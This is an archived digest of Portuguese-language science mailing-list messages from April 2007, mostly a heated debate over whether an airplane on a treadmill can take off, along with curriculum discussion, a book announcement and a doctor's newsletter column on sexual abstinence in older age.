Se há algo que o Professor NÃO fez foi isso, enrolar ou inventar
desculpas. Ou o Ricardo, ou o Leo, ou todos os que tentaram abrir seus
olhos e explicar seu erro. Professores, físicos, especialistas (como
os que postei, em inglês, tempos atras) todos tentaram, sem enrolar e
o mais didaticamente possível, explicar seu erro.
O professor foi especialmente cordato e educado, e não merecia essa
ofensa final de você..:-(
JR - Se vc rever os textos dos e-mails verá que não foi assim: JC acusou-me
de tentar acochambrar uma solução como fez Ptolomeu, acusei a agressão
gratúita e ele prontamente lamentou ter-me decepcionado com essa postura;
mas no último e-mail acusou-me de dar uma de joão-sem-braço, gratuitamente.
Se vc rever os e-mails do JC vai ver que ele estava tentando enrolar, só que
de uma forma menos acintosa usada por vc, que alterou o título do assunto só
para colocar, algo como: Renato vc está errado. Se vc tiver um pouquinho de
senso ético vai ver que isso se chama agressão desnecessária. O título deve
ser mantido para facilitar o acompanhamento, rastreamento e consulta do
assunto.

O problema enganou você com o "red hering" da esteira. Tudo bem, ele
foi criado para isso, para enganar em uma primeira leitura os menos
atentos. Mas manter o erro, a ferro e fogo, mesmo com todos tentando
explicar a questão para você, é demais.
Se existe alguém que realmente não percebeu ou entendeu o problema, é
você Renato.
JR - Homero, quando será que vai perceber que vc é que está voando nessa, do
mesmo jeito que vôou feio no exemplo simples que propus acima?

Um abraço.
Homero

Abraços

José Renato



SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Conclusão final!
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/04/2007 23:11

Olá, Homero! Comentários no corpo do e-mail...
.................................
From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 23, 2007 11:22 PM
Subject: [ciencialist] P/ Renato - Re: Balanço do avião - Conclusão final!


Olá Renato

Renato: "O enunciado não fala no chão, mas vc e JC o consideraram como
referencial aos movimentos! O enunciado menciona especificamente a
esteira, mas vc não quer considerá-la como referência aos movimentos!?
Vc poderia explicar por que?"

Porque o enunciado não fala em ar, em planeta Terra, em gravidade, em
piloto, em asas, em carburador, em pneus, em aerodinamica, etc, etc,
etc, e ainda assim todas essas coisas estão, devem estar, presentes no
problema.
JR - Seu argumento não se sustenta, Homero. Se podemos considerar tudo isso
que está implícito, por que fechar os olhos e se negar considerar a esteira
explicitada onde o avião está assentado, em contato e interagindo? Isso não
me parece muito inteligente...

Dessa forma, um avião deve se comportar como um avião, e sua decolagem
deve ser avaliada a partir de seu movimento em relação ao ar, que como
sabe, está no mesmo referencial que o chão, que, como sabe, deve
existir para suportar a esteira, que como você SE RECUSA A ENTENDER< é
uma armadilha, uma distração, totalmente irrelevante para a decolagem
do avião.
JR - Isso já discutimos e vc também não conseguiu entender a questão.

A esteira NÃO IMPORTA, desde que o avião possa se mover em relação ao
ar/chão, e ele pode se mover, desde que não esteja amarrado ou receba
de alguma forma forças a partir de vetores externos. E a esteira NÃO
PODE APLICAR FORÇA no avião, em qualquer velocidade, em qualquer
direção, etc, etc, etc.
Isso é ridículo, a essa altura!!!
JR - O que vc tem de fazer é raciocinar com os dados e esquemas que lhe
apresentei em lugar de apenas digitar blá-blá-blás sem nexo e dizer que
"isso é ridículo". Qualquer comentarista de modas faz isso...

Homero

[]s
José Renato



SUBJECT: Arca de Noé - era Re: Fw: Física
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/04/2007 23:28

Léo, grande insight você teve!

Se Noé levou os bichos em "casais", então:

- já havia união estável para bichos gays?
- como ele sabia que havia apenas um casal de bactérias (???) de cada
tipo?
- como se distingue o macho e a fêmea entre vírus?
- o que aconteceu com os casais de bichos cuja vida não dura nem uma
semana?

Nossa, a ciência é realmente burra, nunca vi resposta a nenhuma dessas
perguntas nos livros de ciência (nem em outros, he he).

Mas para que o Brudna não me coloque em moderação eu completo a
mensagem com uma pergunta para me salvar do mármore do inférno:
mudando o currículo da primeira séria para "Óptica" (e mais alguma
coisa, talvez) e deixando o início da mecânica para outra série, não
criaríamos problemas quando um aluno fosse transferido de uma escola
para outra onde o currículo não é o mesmo?

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá JC, no texto abaixo.
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br
> ===========================
>
>
> >Oi Léo,
> Puxei e puxo mesmo! Adoro puxar as orelhas alheias. :)<
>
> Não me incomodo. Os 'alertas' são sempre bem vindos! Se bem que
"errar é humano", bem longe de meu caso! :-)
>
> >Mas, falando sério, nada contra postar as dúvidas dos consulentes
> desde que se possa também postar as dúvidas do José Renato e do
> Ferrari. A diferença entre eles não é assim tão grande quando se trata
> de entender de "Física". :)<
>
> Vc já imaginou eu indicando o GREF, Telecurso2000, Westhpal etc.,
para ambos? Jamais faria isso! Eu indicaria as páginas da bíblia, do
Alcorão etc. para sanar quaisquer dúvidas científicas. Ainda bem que a
arca de noé não decolou! Pobre dilúvio que 'cobriu toda a terra', onde
estarão essas águas hoje? foram para o espaço? A terra subiu? Noé,
pobre pescador, não poude nem pescar durante os 40 dias e noites ---
pois só levou um casal de minhocas!
> Para encerrar esse parágrafo: Ambos não têm dúvidas, eles têm
certezas! O que dogmas não fazem com as pessoas!
>
> >Recomende ao Cristian que baixe livros online de boa qualidade. Eles
> podem baixar o livro do GREF e do Telecurso 2000 diretamente do meu
> site em http://www.profjc.net/ (é só entrar na "Biblioteca Online",
> menu da esquerda, e seguir o roteiro: biblioteca online -> alunos ->
> material didático para consulta -> "escolha qual quiser"). Está tudo e
> pdf.<
>
> Essa é a resposta que darei ao consulente. Agradeço.
>
> >Porém, sabemos que esses meninos não querem livros, querem respostas
> prontas para as perguntas do professor. :)<
>
> Não são só os alunos que não querem nada com nada! Já viu como os
'formandos' fazem seus TCCs atualmente? Tudo tercerizado ... os menos
ruins copy/past!
> Semana passada tive um professor de física perguntando o que vem a
ser 'garrafa de leidim'.
>
> >Além disso, Cinemática Escalar, ninguém merece mesmo! :))) Abraços, JC<
>
> Eu tiraria a Cinemática do 1º ano do ensino médio; deixaria a óptica
geométrica para iniciar o ano e complementaria o ano com estática e
hidrostática (noção íntuitiva' de velocidade, quando necessário). Ou
algo do gênero; cinemática é basicamente estudo das funções, coisa que
o aluno poderia aprender (funções, noções de limite, derivada) na
matemática do 1º ano.
>
> aquele abraço,
>
> Léo
>
> ===============
>




SUBJECT: Re: Em busca de uma nova ordem
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/04/2007 23:33

Coloquei nos meus "favoritos" e vou tentar ler quando sobrar um tempinho.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Estou botando um livro na web. Trata-se de uma crítica às sociedades
> modernas fundamentada na ciência cognitiva e antropologia biossocial.
> Um fenômeno de grande importância está ocorrendo. A ciência está
> chegando ao Homem - área que sempre foi campo de atuação das
> "ciências" humanas e sociais, filosofia e religião. Embora ainda seja
> cedo para aplicarmos esses novos conhecimentos às sociedades atuais,
> com o conhecimento que já temos disponível podemos lançar um novo
> olhar sobre a modernidade e elaborar uma nova crítica social.
>
> A crítica não é inteiramente nova, e encontra ressonância no
> pensamento de vários autores (Tocqueville, Nietzche, entre outros),
> mas seu embasamento nas novas ciências do homem lhe dá um rigor e
> credibilidade que outros que abordaram o assunto não têm. São
> abordadas questões importantes do mundo atual que têm sido pouco
> tratadas por outros autores.
>
> Recomendo aos que tiverem interesse em avaliar a consistência do
> texto e das idéias que leiam o capítulo 1 e o início do 2. O livro
> esquenta na parte 2, quando trata da crise social, e mais ainda na
> parte 3, que aborda a crise sexual. No capítulo 7 é apresentado um
> elaborado modelo que procura explicar o comportamento político e
> sexual das sociedades humanas. A parte 4 trata da busca por uma
> utopia e pode ser ingênua em alguns momentos, mas apresenta idéias e
> discussões interessantes.
>
> Críticas serão muito bem vindas.
>
> O livro já conta com a aprovação da Secretaria de Cultura do Rio de
> Janeiro, que, através da lei de incentivo à cultura, permite que a
> empresa patrocinadora desconte do ICMS 5/6 do valor dos custos de
> publicação, que estão por volta de 27.000 reais.
>
> http://www.geocities.com/novaordem2003/novaordem.htm
>
> João de Carvalho.
>




SUBJECT: P/ Renato - Re: Balanço do avião - Conclusão final!
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/04/2007 23:49

Olá Renato

Chega, Renato..:-)

Homero




SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: Hélio Ricardo Carvalho <hrc@fis.puc-rio.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/04/2007 00:27

Renato et al.

Eu falei que não ia voltar a isto mas não dá para segurar.

--- Em ciencialist@yahoogrupos.com.br, José Renato disse entre outras
coisas:

"Há o avião e a esteira. No enunciado não se fala no chão"

E eu digo:

Se a velocidade do avião é em relação à esteira e a velocidade da
esteira é em relação ao avião, não importa o que o controle do motor
da esteira faça. Estas duas velocidades sempre serão iguais em módulo
e opostas em sentido mesmo quando o motor que roda a esteira quebrar
por super aquecimento e ela parar estas duas velocidades serão sempre
iguais em módulo. :-)
E o avião, independente de tudo isto, voará.

Veja também minhas outras mensagens neste assunto.
http://br.groups.yahoo.com/group/ciencialist/message/62268
http://br.groups.yahoo.com/group/ciencialist/message/62311

Hélio



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/04/2007 00:36

Olá, José Carlos! Grato pelos comentários.
Respondo seus comentários abaixo, após JR1 -, OK?
................................................
From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 23, 2007 11:48 PM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Olá José Renato,

Vou respondendo, com calma e paciência, logo abaixo dos seus
comentários... Você merece. :)
JR1 - Isso é fundamental ao entendimento do que estamos tratando.

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, José Carlos!
> Esta chegando a hora da verdade. Não dá mais encompridar conversa para
> tentar esconder a falta de lucidez e atenção para dar as respostas
> adequadas ao problema apresentado. A melhor atitude depende apenas de
> você. Analise com clareza. Faço outros comentários no corpo do seu e-mail,
> após JR


Tentarei, José Renato, tentarei...
JR1 - Esse é o primeiro passo: disposição.

> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 23, 2007 7:45 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
> Olá José Renato,
>
> Se bem me lembro você já me disse que o enunciado não é seu, logo,
> decorre daí que também não sendo meu só nos resta nos basearmos
> naquilo que nos baseamos todos os dias: na experiência e na própria
> linguagem. Quando falamos em movimentos próximos à superfície da Terra
> nós "SEMPRE" subentendemos que o chão é nosso referencial e quando
> queremos tomar outro referencial nós SEMPRE explicitamos isso. Como o
> autor não explicita nenhum outro referencial, então só nos resta usar
> a informação padrão.
> JR - Essa "padronização" não existe, José Carlos. E o fato de vc
> considerá-la revela que vc deixou de exercitar sua capacidade
> intelectual e se acostumou em padronizar interpretações.

Pode ser, José Renato, mas também pode não ser. Eu acompanho os
vestibulares das principais universidades do país (e também os livros
didáticos) há cerca de 24 anos e não me lembro de muitas questões onde
se tenha explicitado o referencial como sendo o "chão", por outro lado
na extrema maioria das vezes esse referencial está "implícito". É
assim que é, meu caro, e saber disso é parte do "saber Física".
JR1 - Consideramos o chão como referencial e concordamos que voa. Por que
não considerar também a esteira, além do chão? Só por que foi José Renato
quem a considerou primeiro e apresentou uma outra resposta?

Imagine que as placas de velocidade máxima de uma rodovia tivessem que
explicitar: "velocidade máxima permitida em relação ao chão = 80
km/h"; você não acharia estranho? Imagine que se diga que uma árvore
tem cinco metros de altura, você terá alguma dúvida de que essa altura
foi medida em relação ao chão? Na verdade, em todas as situações do
seu cotidiano em que lhe informam uma velocidade, em quais delas essa
velocidade não se refere ao chão ou a um referencial imóvel em relação
ao chão? Vamos, José Renato, pense! ;)
JR1 - As rodovias são "o chão" assim como a esteira é o "chão" para o avião
do problema. Para a medida das altura das árvores já depende do terreno e de
referencial, não é tão "preciso" assim. Na agricultura a medida considera as
raízes.

Veja que se não explicitamos o referencial no chão e nem em um outro
local, a escolha será sempre o chão. Se você quiser que o referencial
seja outro que não o chão, deverá explicitá-lo sempre que os
movimentos se dão próximos à superfície da Terra. Se o referencial não
for no chão e não houver uma indicação clara disso, a questão estará
mal formulada e ao contrário do que você sugere, não demonstrará
nenhuma "capacidade intelectual" extra do elaborador da questão e nem
de quem se aventurar a "inventar" novas interpretações estapafúrdias.
JR1 - É isso que chamo de tentativa de enrolação... O problema explicita com
todas as letras que *o avião está sobre a esteira*. Por que vc não quer
considerar a esteira como "chão", também?

Por fim, note que se o refencial não está explicitado, mas está
implícito no chão, talvez seja muito mais problemático para você supor
que o referencial esteja em outro lugar. De qualquer forma, se você
supõe o referencial em outro lugar, então pelo menos diga que lugar é
esse. O cúmulo do "excesso de capacidade intelectual" é discordar que
o referencial seja o chão e não ter nenhum outro referencial para
propor, você não acha?
JR1 - Mais tentativa de enrolação... Veja. No problema já consideramos o
chão como referencial e demos a resposta de que *o avião voa*.
Paralelamente, consideramos a esteira como "chão" e concluimos que o avião
*não alçará vôo*.


> Veja que VOCÊ pode modificar o problema e escrever outro enunciado,
> pode reescrever o enunciado original conforme queira ou, simplesmente,
> pode criar um novo problema. A única coisa que nós não podemos é ficar
> divagando sobre uma coisa tão banal quanto o enunciado de um
> probleminha ordinário de decolagem de avião. :)
> JR - O desafio do problema é exatamente a possibilidade de duas
> respostas à pergunta: o avião voa ou não! E vc quer transformá-lo em
> um probleminha ordinário de uma única resposta simples, fácil, só
> porque não conseguiu perceber de cara essa outra resposta ou
> possibilidade!.


É verdade. A mim esse parece ser um probleminha realmente simples e
ordinário e eu estou tentando há várias mensagens entender como que
você não o vê dessa forma. :)
JR1 - Erro inicial de avaliação ou displicência pode estar na raiz das suas
dificuldades de entender a questão.

Já resolvemos o problema anterior, em que não havia atrito nenhum
entre os rolamentos da roda do avião e você concordou, por
consentimento, que a solução seria o avião decolando normalmente. [ ... ]
JR1 - Se considerarmos a hipótese especial de que não há atrito algum, o
avião em si não interage com a esteira. A esteira se movimenta e o avião
continua paradão. Não há o que discutir: ele voa.

[ ... ] Digamos então que agora você copiou o enunciado "original" e
temos um novo problema, mas nesse novo problema o avião também
decola, a menos, é claro, que você tenha "outra solução". Mas você
ainda está encalhado no referencial, não é?
JR1 - Não. Vc é que empacou numa interpretação óbvia, que tento lhes
mostrar, mas que requer algum esforço de raciocínio.

Eu não vejo a "outra possibilidade" e você parece que também não a vê
ou vê mas não consegue mostrá-la. Seria uma possibilidade "mística",
dessas que só vê quem tem fé, ou ainda estamos falando da boa Física
materialista?
JR1 - Vc não vê, mas eu vejo. Eu lhe explico, mas vc ainda não parou para
procurar entender. Prefere fugir do ponto principal, prefere não enxergar a
esteira, prefere tentar me desqualificar... Não é uma postura recomendável.
Quando vc cair na real vai perceber as tolices que está escrevendo.


> Na minha opinião, depois de 24 anos lidando com enunciados de
> problemas de Física, tendo eu mesmo escrito milhares deles e lido
> outros muitos milhares, eu não tenho nenhuma dúvida sobre o que estou
> falando e sobre onde está o referencial proposto no problema original.
> Mas você tem toda a liberdade do mundo para recriar o problema.
> JR - O enunciado do problema é aquele mesmo. Não é necessário mudar.
> E não o estou recriando. Apenas estou mostrando a vc e aos demais
> que é importante estar lúcido para perceber as possibilidades que este
> ou qualquer outro problema apresenta. Os problemas de movimentos
> relativos são comuns visto que as possibilidades de interações são
> inúmeras. Exemplo simples: se o ar-vento acelerasse e se deslocasse
> na mesma velocidade e sentido do avião?

Oras, se o enunciado é aquele, então a velocidade da esteira e do
avião estão dadas em relação ao chão. Você tem alguma dúvida com
relação a isso? Qual? Porque? Qual sua interpretação?
JR1 - Isso está explicado nos esquemas que apresentei. Veja se agora vc
consegue perceber melhor meu raciocínio. Veja. Se o avião está sobre a
esteira que se move para trás e o avião para frente *com a mesma
velocidade*, há uma relação fundamental entre seus movimentos. Isso fica
mais visível quando separamos esses dois movimentos e consideramos apenas a
esteira se movendo e o avião estacionado sobre ela com as turbinas
desligadas. A esteira vai carregar o avião para trás... Se o avião estivesse
com as turbinas ligadas - e se deslocando *na mesma velocidade* da esteira -
ele teria andado o mesmo espaço *em relação ao chão* que a esteira se
deslocou, isto é, estaria praticamente parado em relação *ao chão e ao ar
que o circunda*. Isso, para qualquer que seja a velocidade da esteira...
Logo, não voa.


> E então, como vai ser? Vai recriar o problema a partir da SUA
> interpretação dele? Se for, então deixe de dar uma de "João sem braço"
> e assuma que o novo enunciado será SEU. Daí por diante você reescreve
> o enunciado, define sua tese sobre a decolagem do avião e nós
> discutimos as idéias propostas, ok?
> JR - Por que vc insiste em dizer que a possibilidade existente no
> problema requer um novo enunciado? Fica melhor assumir que vc não
> percebeu totalmente o problema, em vez de vir enrolando com desculpas
> e propostas tolas, na tentativa de confundir os menos atentos.
> Só depende de você...


Só depende de mim o quê? Eu já lhe expliquei que o enunciado refere-se
ao chão como referencial e que o avião voará (essa é a mesma situação
I do problema anterior que JÁ RESOLVEMOS). Você ainda tem dúvidas com
relação ao vôo do avião nessas condições? Qual a dúvida? Porque tem
essa dúvida?
JR1 - Ou vc está com dificuldade de memória ou está tentando enrolar mais
uma vez. Repito para lhe reavivar o que já estou dizendo a vários e-mails. O
avião voará com o *dobro da velocidade* da esteira, quando consideramos um
ponto de referência no solo-terra onde está apoiada a esteira. Não há
dúvidas. Só depende de vc agora atentar ao raciocínio que apresento para um
resposta mais adequada em que o avião se desloca exatamente na mesma
velocidade da esteira, como explicita o enunciado, e não com o dobro da
velocidade.

Viu só, fiquei calminho e respondi direitinho. Agora é sua vez: qual
sua dúvida?
JR1 - Grato pelas respostas, Prof. José Carlos. Se vc for mais objetivo
chegará rapidamente ao entendimento da resposta - aparentemente
contraditória - que apresentei e que venho tentando explicar a vc e aos
demais listeiros. Só vamos ganhar com isso.

Abraços,
JC

Abraços
José Renato

> .....................................
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Caro, José Carlos!
> >
> > A interpretação de texto é uma das maiores dificuldades que
> encontramos no
> > desenvolvimento intelectual dos estudantes brasileiros. É o costume
> inferir
> > e pensar açodadamente de acordo com algo parecido ao que já fez ou
teve
> > conhecimento um dia.
> >
> > É comum problemas entre dois ou mais movimentos, em que não se fala
> em outro
> > referencial, apenas na relação entre os movimentos.
> >
> > No nosso caso, o avião está sobre a esteira... Por que não
considerar a
> > esteira como a pista móvel ou o "chão" móvel onde o avião se desloca,
> > tentando decolar? Como se houvesse um deslocamento de terra...
> >
> > []s
> >
> > José Renato
> >
> > ET. [ ...o chão é *sempre* tomado como referencial... ]
> >
> > Sempre, é muito tempo, professor!
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Sunday, April 22, 2007 5:08 PM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > JC, onde vc viu escrito no enunciado que "o avião e a esteira se
> > > moverão em sentidos opostos *em relação ao chão*"?
> >
> > "...A esteira tem um sistema de controle que acompanha a velocidade do
> > avião e faz com que a esteira tenha exatamente a mesma velocidade
> > dele, na direção oposta."
> >
> > A menos que seja feita, explicitamente, a indicação de um referencial
> > que não seja o chão, para todos os efeitos o chão é sempre tomado como
> > referencial para problemas que envolvem movimentos próximos à
> > superfície terrestre.
> >
> >
> > Abraços,
> > JC
> >
> > > O que o enunciado afirma é que "Um avião está estacionado em uma
pista
> > > móvel".
> > > []s
> > > JR
> > > ................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@>
> > > To: <ciencialist@yahoogrupos.com.br>
> > > Sent: Sunday, April 22, 2007 12:59 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > >
> > >
> > > Olá José Renato,
> > >
> > > Se o enunciado é:
> > >
> > > >>>>> Um avião está estacionado em uma pista móvel (como se
fosse uma
> > > > esteira rolante). O avião se move em uma direção, e a esteira na
> > > > direção oposta. A esteira tem um sistema de controle que
acompanha a
> > > > velocidade do avião e faz com que a esteira tenha exatamente a
> > > > mesma velocidade dele, na direção oposta. A pergunta é: o avião
> > > > vai conseguir decolar?<<<<<
> > >
> > > Então a resposta é simples: o avião decolará, pois como o próprio
> > > enunciado afirma o avião e a esteira se moverão em sentidos
opostos em
> > > relação ao chão. Se era só isso não sei porque tanta polêmica.
> > >
> > > Abraços,
> > > JC



SUBJECT: Re: [ciencialist] ABSTINÊNCIA SEXUAL
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/04/2007 06:29

Dr. Alessandro ou outro cristão da lista:

(Eis um assunto chato, mas não por ser off-toppic...)

1) quando se pode considerar alguém com uma tal SEGUNDA IDADE?
2) e com TERCEIRA IDADE? (Infelizmente parece que não exista uma QUARTA IDADE. Morre-se antes)
Posso chamar alguém de IDOSO, a partir de de que idade?

Refriro-me à percepção de outros. Não à pessoal.

Sds,
Victor.


----- Original Message -----
From: Alessandro Loiola
To: alessandroloiola@yahoo.com.br
Sent: Tuesday, April 24, 2007 9:49 PM
Subject: [ciencialist] ABSTINÊNCIA SEXUAL


__________________________________________________________
DR. ALESSANDRO LOIOLA - SAÚDE PARA TODOS - 24/04/2007 - No.048

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

__________________________________________________________

Olá,

Graças à participação em um grupo de discussão sobre Gerontologia, recebi algumas dezenas de emails esta semana com relatos e perguntas sobre sexualidade na Terceira Idade. Muitos traziam dúvidas relacionadas à Abstinência Sexual.

Como acredito que este seja um tópico de interesse mais amplo, achei por bem fazer um resumo das idéias trocadas e das pesquisas mais recentes sobre o tema. O resultado você pode conferir na crônica de hoje. Espero que seja uma boa leitura.

Um abraço,


Dr. Alessandro Loiola.

__________________________________________________________


Abstinência Sexual

© Dr. Alessandro Loiola


Passo metade do dia atendendo pacientes, metade do dia escrevendo e metade do dia atendendo pacientes. Quer dizer, uma matemática simples irá mostrar que estão faltando 12h no meu dia.

Antes que passe pela sua cabeça que esse workaholismo todo foi o que motivou o título da crônica de hoje, bom, vá com calma. Deixe-me pelo menos apresentar as preliminares.

Noite dessas, entre um atendimento de emergência e o seguinte, pintou o assunto "sexo". Sabe como é: sobre o quê um bando de pessoas de plantão pode conversar, às 2:35 da madrugada, para ficar 100% acordado e alerta enquanto a próxima urgência anunciada não chega? Sexo.

A discussão daquela noite surgiu quando uma das enfermeiras relatou para um pequeno grupo uma conversa que havia tido com a mãe. Em um acesso de sinceridade, ela se queixou que há muitos e muitos anos não "aprontava mais nada". A filha ficou horrorizada. Afinal de contas, é de se esperar que "viúvas de respeito não pensem mais nessas coisas, né doutor?".

O vigia ao lado de uma maca completou: "Depois de uma determinada idade, a gente tem que desistir de certas coisas. É a vida!".

Tentei argumentar, em vão. Era aquela história: você está completamente certo enquanto estiver concordando comigo. E minha opinião sobre o assunto não parecia concordar em coisa alguma com as idéias que a enfermeira fazia para a vida sexual da mãe, ou as previsões do vigia para o seu próprio e sombrio futuro na cama.

Infelizmente, as pessoas ainda preferem o apego estável dos velhos conceitos ao velório temporário da certeza. Um dos melhores exemplos disso é a noção geral de que o termo "velhice" seja algum tipo de sinônimo para "assexuado".

A sexualidade não está relacionada à sua capacidade reprodutora ou status marital: ela lhe acompanhará por muitos anos, mesmo quando você não for mais capaz de ter filhos ou estiver viúvo ou viúva. Na Terceira Idade, a maioria das pessoas deseja e continua a ter uma vida sexual ativa e prazerosa. Quando isto não é possível, resigna-se na tangente da abstinência.

Mas até que ponto a abstinência sexual (voluntária ou não) pode fazer mal?

Considere o seguinte: seu corpo é constituído por 5 sistemas - cardiovascular, respiratório, digestivo, urinário e genital. Se, até a hora de morrer, você continuará a ter batimentos cardíacos e movimentos respiratórios, digerindo sua comida e produzindo excretas, porque então deveria abrir mão da função do aparelho genital?

Que me critiquem os puritanos: tenho a consciência tranqüila, não inventei o sexo, sou um mero usuário. Aqueles que tiverem reclamações, que as façam diretamente junto ao Fabricante.

O que se sabe, cientificamente, é que breves períodos de abstinência sexual nos homens resultam em aumento no volume e na potência do sêmen: três dias de abstinência completa são capazes de dobrar o volume do esperma, mas este efeito diminui e até mesmo se inverte após 7-10 dias.

Nas mulheres, a abstinência sexual prolongada pode resultar em ressecamento e perda da elasticidade dos tecidos vaginais. Se a abstinência durar vários anos, o fechamento do canal vaginal pode chegar a um ponto em que a relação sexual se torna praticamente impossível.

Apesar das alterações anatômicas e fisiológicas, o problema maior da Abstinência Sexual está na medida em que isso significa abster-se de um contato mais íntimo com outra pessoa. Este isolamento forçado, além de ser contra a nossa própria natureza humana (quem é uma ilha?), pode resultar em graves conseqüências psíquicas, como baixa auto-estima, melancolia e depressão de difícil tratamento.

O segredo da satisfação (sexual inclusive) estará sempre em algum ponto entre ter demais e não ter coisa alguma - a vida, assim como a felicidade, exige equilíbrio, não extremos.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de "Vida e Saúde da Criança" e "Crianças em forma: saúde na balança" (www.editoranatureza.com.br). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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SUBJECT: Re: Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/04/2007 07:44

Olá, Manuel.

> Andei dando uma "folheada", o bastante para perceber que você
escreve
> muito bem, é culto e, como poucos, sabe articular as idéias.

Obrigado. Você também articula as idéias muito bem. Tem lucidez e é
perspicaz. Pelo que eu tenho visto por estas listas é um dos
pensadores com quem em mais tenho afinidade de idéias. Já pensei
inclusive em trocarmos umas idéias para elaborarmos uma teoria do
homem. Penso muito em fazer uma síntese entre psicanálise, ciência
cognitiva e antropologia biossocial. Acho que daí poderia sair uns
bons modelos, mas daria um trabalho danado. Tenho familiares em
Fortaleza e volta e meia eu vou por aí. Quem sabe a gente poderia se
encontrar.

> Só não entendi uma coisa: se você expôs todo o texto na internet,
> como ainda pretende publicar o livro?

Eu também não entendi direito. Como está demorando muito para eu
conseguir publicá-lo (o livro foi registrado em 2003) resolvi botar
logo na web enquanto o texto não fica desatualizado. Se for publicado
eu penso depois o que fazer. Não dá para ganha muito dinheiro com um
livro desses mesmo. O mais importante é que suas idéias se espalhem.

Saudações.
João de Carvalho.




SUBJECT: Re: Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/04/2007 08:01

Olá, JC.

Obrigado pelo interesse. A introdução não está grandes coisas, mas eu
garanto que no capítulo 1 e no início do 2 o texto fica bem
interessante. Depois vem uma apresentação meio enfadonha dos novos
conhecimentos em ciência cognitiva, mas depois volta a ficar bom. Os
capítulos que eu menos gosto são os últimos, da parte 4, em que
proponho novas formas de organização social. Meio ingênuos em algumas
partes, e sem muitas fundações. Eu agradeceria muito se você pudesse
criticar o texto.

Saudações.
João de Carvalho.




SUBJECT: Re: [ciencialist] Arca de Noé - era Re: Fw: Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/04/2007 08:13

JC, cuidado!

Por favor não escreva parágrafos como esse:

>"Nossa, a ciência é realmente burra, nunca vi resposta a nenhuma dessas
perguntas nos livros de ciência (nem em outros, he he)."<

Já viu o que um crente pode fazer com isso? A 'manchete' será: "Professor de Física não acredita na Ciência e renega todos os livros de ciência." E esse "(nem em outros, he he)" será apontado como Biologia, Química etc.

Quanto à mudança de currículo que apontei, deverá ser uma mudança Nacional, para todas as escolas!

Interessante nesse item da óptica é uma observação posta por um professor (ao qual dei a resposta que segue):
+++++++++
>>>>"O meu melhor exemplo é a ótica geométrica: como podemos ficar ensinando aquelas setas para os alunos sem falar sobre luz e cor, dispersão, polarização, e tantos outros conteúdos muito mais ligados à vida real do que leis da reflexão e refração."<

Léo: Homem, a óptica geométrica não foi colocada lá na grade curricular como 'simples estudo da propagação da luz', ela foi posta para "ensinar geometria euclidiana"; foi posta para o aluno abstrair o uso da geometria dentro das aplicações do dia-a-dia, foi posta para ilustrar as demonstrações geométricas, foi posta para mostrar que a geometria está relacionada com a reflexão, refração, cálculo da formação das imagens nos espelhos esféricos e lentes delgadas, foi posta para mostrar o problema das condições de Gauss, foi posta para ilustrar o teorema do "pé de galinha", foi posta para explicar o "lugar geométrico" que justifica porque o arco-íris tem forma de arco (ou de circunferência, se visto de um avião ou alto de uma montanha), foi posta para explicar os dióptros centrados.
Depois de encerradas as geometrizações da luz, vem a óptica física, as fontes, a produção, as ondas e tudo o mais que sabemos e que não poderia ser apresentado "antes" da óptica geométrica, do estudo das funções, limites, derivadas, integrais e equações diferenciais.
Vc não está enxergando isso na 'escola padrão'; o currículo foi posto por gente boa, com boa formação na 'escola européia de então' --- e funcionou, comigo, com vc e com toda a nata dos velhos pesquisadores do séc.XX. No 'final do séc.XX, entraram as 'habilidades' --- e ai está o resultado!

